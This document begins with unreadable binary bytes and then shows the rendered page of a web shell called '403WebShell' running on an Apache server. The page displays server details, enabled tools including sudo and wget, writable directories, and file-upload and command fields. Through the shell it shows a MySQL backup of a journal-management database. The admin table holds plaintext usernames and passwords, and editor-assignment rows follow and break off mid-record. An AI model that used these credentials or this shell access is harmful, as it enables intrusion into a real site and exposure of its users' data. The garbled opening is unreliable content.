DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 172.67.215.126  /  Your IP : 172.69.17.49
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-19-221 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backup/Regular-DB/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/backup/Regular-DB/scholars_imt_05.29.2024.sql
-- MySQL dump 10.13  Distrib 8.0.36, for Linux (x86_64)
--
-- Host: localhost    Database: scholars_imt
-- ------------------------------------------------------
-- Server version	8.0.36-0ubuntu0.22.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `admin`
--

DROP TABLE IF EXISTS `admin`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `admin` (
  `id` int NOT NULL AUTO_INCREMENT,
  `user` varchar(100) NOT NULL,
  `password` varchar(50) NOT NULL,
  `status` tinyint(1) NOT NULL,
  `login_type` tinyint(1) NOT NULL,
  `last_login` date NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `admin`
--

LOCK TABLES `admin` WRITE;
/*!40000 ALTER TABLE `admin` DISABLE KEYS */;
INSERT INTO `admin` VALUES (1,'admin','itm@srinu_babu',1,1,'2012-02-22'),(3,'qcteam','qc_team_2019',1,2,'2019-08-16'),(4,'reports','repo_2019',1,3,'2019-08-19'),(5,'vizag_team','preqc(vskpteam)@journals',1,4,'2020-06-12');
/*!40000 ALTER TABLE `admin` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `article_types`
--

DROP TABLE IF EXISTS `article_types`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `article_types` (
  `art_type_id` int NOT NULL AUTO_INCREMENT,
  `art_type` varchar(150) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `status` tinyint(1) NOT NULL DEFAULT '1',
  PRIMARY KEY (`art_type_id`)
) ENGINE=InnoDB AUTO_INCREMENT=26 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `article_types`
--

LOCK TABLES `article_types` WRITE;
/*!40000 ALTER TABLE `article_types` DISABLE KEYS */;
INSERT INTO `article_types` VALUES (1,'Book Reviews',1),(2,'Case Report',1),(3,'Commentary Article',1),(4,'Conference Proceedings',1),(5,'Editorial',1),(6,'Expert Review',1),(7,'General Commentaries',1),(8,'Hypothesis',1),(9,'Letter',1),(10,'Method',1),(11,'Opinion',1),(12,'Perspective',1),(13,'Rapid Communication',1),(14,'Research',1),(15,'Review',1),(16,'Special Issue',1),(17,'Short Communication',1),(18,'Theory',1),(19,'Mini Review',1),(22,'Video',1),(23,'Image Article',1),(24,'Announcement',1),(25,'Mini Review',1);
/*!40000 ALTER TABLE `article_types` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `assigned_editors`
--

DROP TABLE IF EXISTS `assigned_editors`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `assigned_editors` (
  `ae_id` int NOT NULL AUTO_INCREMENT,
  `e_id` int NOT NULL,
  `m_id` int NOT NULL,
  `ae_date` date DEFAULT NULL,
  `ae_stat_date` date DEFAULT NULL,
  `ae_review_status` int NOT NULL DEFAULT '0',
  `ae_status` varchar(25) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `j_id` int NOT NULL,
  `ae_active` int NOT NULL DEFAULT '1',
  PRIMARY KEY (`ae_id`),
  KEY `FK_assigned_editors` (`e_id`),
  KEY `index_e_id` (`e_id`),
  KEY `index_m_id` (`m_id`),
  KEY `index_j_id` (`j_id`),
  KEY `index_ae_review_status` (`ae_review_status`)
) ENGINE=InnoDB AUTO_INCREMENT=10845 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `assigned_editors`
--

LOCK TABLES `assigned_editors` WRITE;
/*!40000 ALTER TABLE `assigned_editors` DISABLE KEYS */;
INSERT INTO `assigned_editors` VALUES (150,188,422,'2019-07-18','2019-08-12',0,'2',45,1),(151,189,423,'2019-07-18','2019-08-12',0,'2',45,1),(152,190,425,'2019-07-18','2019-08-12',0,'2',45,1),(155,195,430,'2019-07-18','2019-09-13',1,'4',45,1),(156,194,429,'2019-07-18','2019-08-27',0,'2',45,1),(157,193,428,'2019-07-18','2019-07-29',0,'4',45,1),(158,192,427,'2019-07-18','2019-08-12',2,'2',45,1),(170,203,453,'2019-07-19','2019-09-19',1,'2',86,1),(206,194,549,'2019-07-23','2019-08-12',0,'2',45,1),(207,192,548,'2019-07-23','2019-08-12',1,'2',45,1),(212,221,555,'2019-07-23','2020-05-20',1,'2',85,1),(213,222,557,'2019-07-23','2020-05-20',1,'4',85,1),(235,191,563,'2019-07-25','2019-08-28',0,'4',45,1),(238,161,613,'2019-07-25','2019-08-02',1,'2',73,1),(240,160,602,'2019-07-25','2020-06-05',1,'4',73,1),(248,160,627,'2019-07-26','2019-08-23',1,'2',73,1),(249,162,628,'2019-07-26','2020-06-05',1,'4',73,1),(250,162,629,'2019-07-26','2019-09-20',1,'2',73,1),(252,161,631,'2019-07-26','2019-09-24',1,'2',73,1),(253,160,630,'2019-07-26','2020-02-04',1,'2',73,1),(291,189,726,'2019-07-29','2019-08-27',0,'2',45,1),(298,188,715,'2019-07-30','2019-09-13',1,'2',45,1),(306,162,747,'2019-07-30','2019-09-10',1,'2',73,1),(328,193,816,'2019-08-01','2019-08-27',0,'2',45,1),(330,190,820,'2019-08-01','2019-09-13',1,'2',45,1),(389,195,969,'2019-08-07','2019-08-28',1,'2',45,1),(393,204,917,'2019-08-07','2020-05-20',1,'2',86,1),(407,357,1025,'2019-08-08','2019-09-18',0,'4',251,1),(408,359,1024,'2019-08-08','2020-03-20',1,'2',251,1),(409,359,1023,'2019-08-08','2019-08-28',1,'2',251,1),(545,222,1290,'2019-08-16','2020-06-05',1,'2',85,1),(552,161,1011,'2019-08-16','2019-10-15',1,'4',73,1),(645,203,1394,'2019-08-20','2020-06-05',1,'4',86,1),(648,633,1452,'2019-08-20','2019-09-25',1,'2',639,1),(687,160,1457,'2019-08-21','2020-06-04',1,'4',73,1),(688,162,1497,'2019-08-21','2020-03-05',2,'4',73,1),(710,195,1476,'2019-08-22','2019-09-13',1,'2',45,1),(711,194,1360,'2019-08-22','2019-08-28',0,'4',45,1),(712,191,1246,'2019-08-22','2019-09-13',1,'2',45,1),(805,191,1676,'2019-08-26','2019-09-13',1,'2',45,1),(837,221,1674,'2019-08-26','2020-01-13',1,'4',85,1),(920,634,1673,'2019-08-29','2019-10-01',1,'2',639,1),(1034,1011,1998,'2019-09-05','2020-06-11',1,'2',91,1),(1035,1012,2051,'2019-09-05','2023-11-13',0,'2',91,1),(1073,1012,1863,'2019-09-06','2020-05-20',0,'4',91,1),(1081,1011,2079,'2019-09-06','2023-02-07',1,'2',91,1),(1115,195,2272,'2019-09-09','2020-06-10',1,'2',45,1),(1116,193,2273,'2019-09-09','2019-09-17',1,'2',45,1),(1117,191,2274,'2019-09-09','2019-10-03',1,'2',45,1),(1118,188,2275,'2019-09-09','2020-06-11',1,'2',45,1),(1127,1067,2277,'2019-09-09','2020-01-21',1,'2',326,1),(1229,194,2416,'2019-09-12','2020-06-10',1,'2',45,1),(1251,189,2474,'2019-09-13','2020-06-10',1,'2',45,1),(1259,195,2464,'2019-09-13','2020-06-10',1,'2',45,1),(1280,1235,2463,'2019-09-18','2020-01-22',1,'2',277,1),(1281,1068,2577,'2019-09-18','2020-01-30',1,'4',326,1),(1282,634,2120,'2019-09-18','2020-03-20',0,'4',639,1),(1283,634,2540,'2019-09-19','2019-10-01',1,'2',639,1),(1285,191,2581,'2019-09-19','2020-06-11',1,'2',45,1),(1286,189,2582,'2019-09-19','2020-06-10',1,'2',45,1),(1295,1012,2602,'2019-09-23','2019-11-18',1,'4',91,1),(1296,1012,2591,'2019-09-23','2020-06-11',1,'2',91,1),(1298,195,2594,'2019-09-24','2020-06-10',1,'2',45,1),(1299,193,2605,'2019-09-24','2020-06-11',1,'2',45,1),(1300,191,2606,'2019-09-24','2019-10-03',1,'2',45,1),(1303,1235,2617,'2019-09-26','2019-12-17',1,'2',277,1),(1310,161,2635,'2019-09-28','2020-06-04',1,'1',73,1),(1313,1251,2645,'2019-09-30','2020-05-20',1,'2',86,1),(1320,194,2651,'2019-10-03','2020-06-10',1,'2',45,1),(1325,359,2661,'2019-10-03','2019-12-13',1,'4',251,1),(1327,633,2669,'2019-10-04','2019-10-31',1,'2',639,1),(1329,222,2674,'2019-10-05','2020-08-03',1,'2',85,1),(1333,359,2686,'2019-10-07','2019-12-05',1,'2',251,1),(1336,1235,2694,'2019-10-09','2020-01-22',1,'2',277,1),(1338,161,2696,'2019-10-09','2020-06-05',1,'4',73,1),(1343,1011,2623,'2019-10-11','2020-06-11',1,'4',91,1),(1344,1012,2611,'2019-10-11','2020-06-11',1,'4',91,1),(1346,1012,2708,'2019-10-11','2020-06-11',1,'2',91,1),(1347,1011,2697,'2019-10-11','2020-06-11',1,'4',91,1),(1348,1245,2633,'2019-10-11','2020-06-11',1,'4',91,1),(1350,190,2681,'2019-10-12','2020-03-03',1,'2',45,1),(1352,221,2727,'2019-10-14','2019-12-13',1,'2',85,1),(1353,160,2719,'2019-10-14','2020-06-04',1,'4',73,1),(1357,188,2673,'2019-10-15','2020-06-11',1,'2',45,1),(1358,195,2707,'2019-10-15','2020-06-11',1,'2',45,1),(1361,222,2723,'2019-10-16','2020-06-05',0,'4',85,1),(1369,1070,2667,'2019-10-17','2020-05-20',1,'4',326,1),(1370,1069,2693,'2019-10-17','2019-11-13',1,'2',326,1),(1371,192,2754,'2019-10-17','2020-06-11',1,'2',45,1),(1372,1251,2756,'2019-10-18','2020-05-20',1,'2',86,1),(1373,204,2759,'2019-10-18','2020-05-20',1,'2',86,1),(1377,1011,2755,'2019-10-21','2020-06-11',1,'4',91,1),(1385,634,2768,'2019-10-24','2020-06-12',1,'4',639,1),(1386,1011,2785,'2019-10-24','2019-10-31',0,'4',91,1),(1390,357,2777,'2019-10-24','2020-06-05',1,'2',251,1),(1391,359,2744,'2019-10-24','2020-06-04',1,'2',251,1),(1393,191,2794,'2019-10-26','2020-06-11',1,'2',45,1),(1394,190,2765,'2019-10-26','2023-01-31',0,'2',45,1),(1395,194,2764,'2019-10-26','2019-11-01',0,'4',45,1),(1410,191,2839,'2019-10-30','2019-11-05',0,'4',45,1),(1412,189,2842,'2019-10-31','2020-06-10',1,'2',45,1),(1414,1068,2844,'2019-11-01','2019-11-25',1,'4',326,1),(1419,634,2858,'2019-11-02','2020-06-12',1,'1',639,1),(1420,203,2838,'2019-11-02','2020-06-04',1,'2',86,1),(1423,633,2832,'2019-11-04','2020-06-12',1,'4',639,1),(1428,190,2876,'2019-11-05','2020-06-10',1,'2',45,1),(1430,1070,2877,'2019-11-05','2019-11-25',1,'2',326,1),(1436,1291,2887,'2019-11-07','2020-05-20',1,'2',86,1),(1444,204,2897,'2019-11-08','2019-11-15',0,'4',86,1),(1445,203,2896,'2019-11-08','2019-11-15',0,'4',86,1),(1452,359,2856,'2019-11-12','2020-01-13',1,'2',251,1),(1453,357,2852,'2019-11-12','2019-12-10',1,'2',251,1),(1455,1011,2902,'2019-11-12','2020-06-11',1,'4',91,1),(1457,1067,2919,'2019-11-13','2020-01-21',1,'2',326,1),(1468,357,2933,'2019-11-15','2019-12-10',1,'2',251,1),(1469,193,2934,'2019-11-15','2020-02-25',0,'4',45,1),(1471,1235,2584,'2019-11-18','2022-10-10',1,'2',277,1),(1472,633,2939,'2019-11-18','2020-06-12',1,'2',639,1),(1495,1235,2997,'2019-11-28','2020-01-07',1,'2',277,1),(1499,160,2988,'2019-11-29','2020-03-05',1,'2',73,1),(1503,1310,3011,'2019-11-30','2020-06-12',1,'2',959,1),(1508,189,2943,'2019-12-02','2020-06-10',1,'2',45,1),(1517,188,3026,'2019-12-06','2020-02-25',0,'4',45,1),(1518,190,3033,'2019-12-06','2020-06-10',1,'2',45,1),(1520,192,3035,'2019-12-06','2020-06-11',1,'2',45,1),(1521,222,3037,'2019-12-06','2020-05-20',1,'4',85,1),(1522,221,3036,'2019-12-06','2020-05-20',1,'4',85,1),(1527,1315,2874,'2019-12-09','2020-06-12',1,'4',959,1),(1532,633,3050,'2019-12-11','2020-01-23',1,'2',639,1),(1533,634,3043,'2019-12-11','2020-06-12',1,'1',639,1),(1541,634,3071,'2019-12-13','2020-01-21',1,'2',639,1),(1543,358,3072,'2019-12-13','2020-02-19',1,'2',251,1),(1552,357,3074,'2019-12-17','2020-02-28',1,'2',251,1),(1559,192,3045,'2019-12-20','2020-06-10',1,'2',45,1),(1565,1324,3098,'2019-12-23','2020-06-12',1,'4',959,1),(1573,358,3125,'2019-12-26','2020-06-04',1,'2',251,1),(1575,1291,3126,'2019-12-27','2020-05-20',1,'2',86,1),(1576,160,3122,'2019-12-28','2020-06-05',1,'4',73,1),(1579,1069,3140,'2019-12-30','2020-01-30',1,'4',326,1),(1586,1324,3150,'2020-01-03','2020-06-12',1,'2',959,1),(1593,160,3154,'2020-01-07','2020-04-06',1,'2',73,1),(1601,1067,3185,'2020-01-10','2020-02-10',1,'2',326,1),(1602,1011,3178,'2020-01-10','2020-06-11',1,'2',91,1),(1603,1235,3183,'2020-01-10','2020-02-28',1,'2',277,1),(1605,1251,3177,'2020-01-13','2020-05-20',1,'2',86,1),(1610,1324,3195,'2020-01-13','2020-02-28',1,'2',959,1),(1615,162,3209,'2020-01-16','2020-06-04',1,'1',73,1),(1616,161,3192,'2020-01-16','2020-05-20',1,'2',73,1),(1621,222,3213,'2020-01-17','2020-05-20',1,'4',85,1),(1632,633,3202,'2020-01-21','2020-06-12',1,'2',639,1),(1635,358,3237,'2020-01-23','2020-02-27',1,'2',251,1),(1642,1342,3252,'2020-01-24','2020-06-11',0,'4',971,1),(1644,1343,3259,'2020-01-25','2020-05-20',1,'2',86,1),(1645,633,3258,'2020-01-25','2020-03-09',1,'2',639,1),(1646,1291,3256,'2020-01-25','2020-05-20',1,'2',86,1),(1649,195,3249,'2020-01-28','2020-03-03',1,'2',45,1),(1650,195,3219,'2020-01-28','2020-07-21',1,'4',45,1),(1651,195,3220,'2020-01-28','2020-06-11',1,'2',45,1),(1653,1342,3274,'2020-01-28','2020-06-11',0,'4',971,1),(1659,358,3261,'2020-01-29','2020-02-28',1,'2',251,1),(1661,191,3282,'2020-01-29','2020-06-10',1,'2',45,1),(1664,161,3266,'2020-01-30','2020-06-04',1,'4',73,1),(1676,1235,3301,'2020-02-03','2020-05-02',1,'2',277,1),(1686,194,3293,'2020-02-04','2020-06-10',1,'2',45,1),(1692,194,3322,'2020-04-27','2020-06-10',1,'2',45,1),(1704,195,3330,'2020-02-07','2020-06-10',1,'2',45,1),(1705,195,3333,'2020-02-07','2020-06-10',1,'2',45,1),(1712,195,3339,'2020-02-10','2020-06-10',1,'2',45,1),(1715,1342,3336,'2020-02-10','2020-06-11',1,'4',971,1),(1730,1367,3371,'2020-02-12','2020-07-08',1,'2',959,1),(1732,1235,3381,'2020-02-12','2020-03-19',1,'2',277,1),(1733,358,3383,'2020-02-12','2020-06-04',1,'2',251,1),(1735,195,3388,'2020-02-13','2020-06-10',1,'2',45,1),(1738,358,3390,'2020-02-15','2020-02-28',1,'2',251,1),(1741,195,3403,'2020-02-17','2020-06-10',1,'2',45,1),(1746,1324,3414,'2020-02-17','2020-02-28',1,'2',959,1),(1747,1367,3378,'2020-02-17','2020-02-28',1,'2',959,1),(1748,194,3409,'2020-02-17','2020-05-12',1,'2',45,1),(1771,161,3447,'2020-02-24','2020-06-05',1,'4',73,1),(1772,194,3461,'2020-02-25','2020-05-12',1,'4',45,1),(1773,194,3460,'2020-02-25','2020-06-10',1,'2',45,1),(1774,357,3456,'2020-02-25','2020-03-20',1,'4',251,1),(1778,160,3467,'2020-02-26','2020-06-05',1,'4',73,1),(1782,194,3479,'2020-02-26','2020-05-12',1,'4',45,1),(1783,1370,3135,'2020-02-26','2020-07-21',1,'1',667,1),(1786,1343,3481,'2020-02-27','2020-05-20',1,'2',86,1),(1787,1342,3486,'2020-02-28','2020-06-11',1,'2',971,1),(1788,1067,3484,'2020-02-29','2020-04-16',1,'2',326,1),(1791,194,3488,'2020-02-29','2020-06-10',1,'2',45,1),(1792,194,3489,'2020-02-29','2020-05-12',1,'2',45,1),(1796,195,3498,'2020-03-02','2020-06-10',1,'2',45,1),(1798,1069,3495,'2020-03-02','2020-06-03',0,'4',326,1),(1799,1069,3505,'2020-03-02','2020-04-07',1,'2',326,1),(1800,1067,3504,'2020-03-02','2020-04-07',1,'2',326,1),(1802,160,3369,'2020-03-03','2020-03-05',1,'4',73,1),(1810,194,3509,'2020-03-03','2020-06-10',1,'2',45,1),(1812,1343,3513,'2020-03-04','2020-06-11',1,'4',86,1),(1813,1370,3519,'2020-03-05','2020-06-12',1,'2',667,1),(1817,194,3522,'2020-03-05','2020-05-12',1,'2',45,1),(1825,1235,3532,'2020-03-06','2020-05-02',1,'2',277,1),(1826,1235,3531,'2020-03-06','2020-05-02',1,'2',277,1),(1831,1235,3546,'2020-03-09','2020-05-22',1,'2',277,1),(1838,633,3433,'2020-03-09','2020-06-12',1,'1',639,1),(1839,633,3400,'2020-03-09','2020-06-12',1,'2',639,1),(1842,194,3539,'2020-03-10','2020-06-10',1,'2',45,1),(1844,194,3562,'2020-03-11','2021-10-11',1,'2',45,1),(1845,194,3568,'2020-03-11','2020-05-12',1,'4',45,1),(1846,194,3563,'2020-03-11','2020-05-12',1,'2',45,1),(1850,194,3551,'2020-03-11','2020-05-12',1,'2',45,1),(1855,221,3577,'2020-03-12','2020-08-03',1,'2',85,1),(1856,1342,3580,'2020-03-12','2020-06-11',0,'4',971,1),(1857,1342,3579,'2020-03-12','2020-06-11',0,'4',971,1),(1858,1342,3581,'2020-03-12','2020-06-11',1,'2',971,1),(1863,634,3547,'2020-03-13','2020-06-12',1,'2',639,1),(1864,1235,3587,'2020-03-16','2020-06-11',1,'1',277,1),(1865,203,3584,'2020-03-16','2020-06-11',1,'4',86,1),(1868,194,3593,'2020-03-16','2020-04-18',1,NULL,45,1),(1870,1251,3598,'2020-03-16','2020-05-20',1,'2',86,1),(1878,161,3575,'2020-03-18','2020-06-10',1,'2',73,1),(1879,162,3573,'2020-03-18','2020-05-20',1,'2',73,1),(1880,160,3566,'2020-03-18','2020-06-10',1,'4',73,1),(1884,193,3612,'2020-03-18','2020-05-12',1,'2',45,1),(1890,193,3623,'2020-03-20','2020-06-11',1,'2',45,1),(1893,161,3657,'2020-03-28','2020-06-10',1,'2',73,1),(1894,194,3626,'2020-03-28','2020-06-10',1,'2',45,1),(1895,194,3628,'2020-03-28','2020-06-10',1,'2',45,1),(1897,194,3652,'2020-03-28','2020-06-10',1,'2',45,1),(1902,194,3672,'2020-03-30','2020-06-10',1,'2',45,1),(1910,1235,3673,'2020-03-31','2020-06-12',1,'2',277,1),(1911,160,3682,'2020-03-31','2020-06-06',1,'4',73,1),(1912,194,3687,'2020-03-31','2020-06-10',1,'2',45,1),(1925,1291,3635,'2020-04-02','2020-06-04',1,'4',86,1),(1928,1235,3698,'2020-04-03','2020-05-22',1,'2',277,1),(1929,1235,3696,'2020-04-03','2020-05-22',1,'2',277,1),(1937,204,3701,'2020-04-03','2020-06-11',1,'4',86,1),(1940,1067,3708,'2020-04-04','2020-06-05',1,'2',326,1),(1946,1067,3675,'2020-04-07','2020-04-30',1,'2',326,1),(1947,1067,3728,'2020-04-07','2020-04-30',1,'2',326,1),(1949,203,3713,'2020-04-07','2020-05-20',1,'2',86,1),(1951,1343,3722,'2020-04-08','2020-07-07',1,'2',86,1),(1966,222,3753,'2020-04-10','2020-05-20',1,'2',85,1),(1967,1067,3741,'2020-04-10','2020-06-05',1,'2',326,1),(1969,221,3755,'2020-04-10','2020-08-03',1,'2',85,1),(1972,204,3733,'2020-04-10','2020-04-11',0,'4',86,1),(1974,1011,3644,'2020-04-16','2020-04-27',0,'4',91,1),(1975,1011,3529,'2020-04-13','2020-06-11',1,'2',91,1),(1976,1235,3771,'2020-04-13','2020-06-11',1,'2',277,1),(1977,194,3786,'2020-04-13','2020-05-12',1,'2',45,1),(1983,194,3785,'2020-04-13','2020-06-10',1,'2',45,1),(1984,194,3780,'2020-04-13','2020-06-10',1,'2',45,1),(1986,204,3777,'2020-04-13','2020-05-20',1,'2',86,1),(1988,1342,3775,'2020-04-14','2020-04-22',0,'4',971,1),(1992,1343,3791,'2020-04-14','2020-06-11',1,'4',86,1),(1993,203,3787,'2020-04-14','2020-06-11',1,'4',86,1),(1999,222,3798,'2020-04-15','2020-08-03',1,'2',85,1),(2000,222,3804,'2020-04-15','2020-08-03',1,'2',85,1),(2002,1393,3799,'2020-04-16','2020-06-11',1,'4',86,1),(2005,194,3809,'2020-04-16','2020-06-11',1,'2',45,1),(2008,204,3812,'2020-04-16','2020-06-10',1,'2',86,1),(2011,161,3808,'2020-04-17','2020-06-10',1,'2',73,1),(2016,1251,3823,'2020-04-20','2020-05-20',1,'2',86,1),(2017,1235,3824,'2020-04-20','2020-05-22',1,'2',277,1),(2019,1251,3831,'2020-04-20','2020-06-11',1,'4',86,1),(2020,1394,3830,'2020-04-20','2020-06-11',0,'4',86,1),(2027,160,3833,'2020-04-21','2020-06-06',1,'4',73,1),(2035,1011,3854,'2020-04-22','2020-05-13',0,'4',91,1),(2037,1342,3851,'2020-04-22','2020-06-11',1,'2',971,1),(2038,358,3825,'2020-04-22','2020-06-05',1,'2',251,1),(2041,194,3870,'2020-04-23','2020-05-12',1,'2',45,1),(2042,1235,3867,'2020-04-23','2020-06-10',1,'2',277,1),(2043,203,3863,'2020-04-23','2020-05-20',1,'2',86,1),(2044,1394,3874,'2020-04-23','2023-11-13',1,'2',86,1),(2049,1011,3864,'2020-04-24','2020-07-09',1,'2',91,1),(2056,194,3886,'2020-04-25','2020-05-12',1,'2',45,1),(2058,357,3862,'2020-04-27','2020-06-05',1,'2',251,1),(2068,194,3894,'2020-04-30','2020-06-11',1,'2',45,1),(2073,161,3902,'2020-05-01','2020-06-05',1,'4',73,1),(2074,160,3888,'2020-05-01','2020-06-10',1,'2',73,1),(2078,1343,3938,'2020-05-01','2020-06-04',0,'4',86,1),(2079,194,3971,'2020-05-01','2020-06-10',1,'2',45,1),(2083,194,3935,'2020-05-01','2020-06-11',1,'2',45,1),(2084,194,3972,'2020-05-01','2020-06-11',1,'2',45,1),(2087,161,3999,'2020-05-04','2020-07-25',1,'2',73,1),(2092,1067,3926,'2020-05-04','2020-06-05',1,'4',326,1),(2095,194,3997,'2020-05-04','2020-06-10',1,'2',45,1),(2096,194,3996,'2020-05-04','2020-06-10',1,'2',45,1),(2097,1315,3970,'2020-05-04','2020-07-08',1,'4',959,1),(2105,1394,3987,'2020-05-04','2020-06-11',1,'4',86,1),(2106,194,4003,'2020-05-05','2020-06-10',1,'2',45,1),(2107,194,4001,'2020-05-05','2020-06-10',1,'2',45,1),(2108,1342,3986,'2020-05-05','2020-07-06',0,'4',971,1),(2109,194,4011,'2020-05-05','2020-06-10',1,'2',45,1),(2112,161,3974,'2020-05-06','2020-07-21',1,'2',73,1),(2113,160,4005,'2020-05-06','2020-07-28',1,'2',73,1),(2115,1067,3880,'2020-05-06','2020-06-10',1,'2',326,1),(2116,1067,4006,'2020-05-06','2020-06-24',1,'1',326,1),(2117,194,4013,'2020-05-06','2020-06-11',1,'2',45,1),(2126,194,4024,'2020-05-07','2020-06-10',1,'2',45,1),(2129,194,4032,'2020-05-07','2020-05-15',1,'2',45,1),(2141,194,4070,'2020-05-11','2020-06-10',1,'2',45,1),(2143,1406,4071,'2020-05-11','2022-11-05',1,'2',971,1),(2145,1406,4074,'2020-05-11','2020-07-06',0,'4',971,1),(2146,1393,4056,'2020-05-11','2020-07-07',1,'2',86,1),(2148,203,4064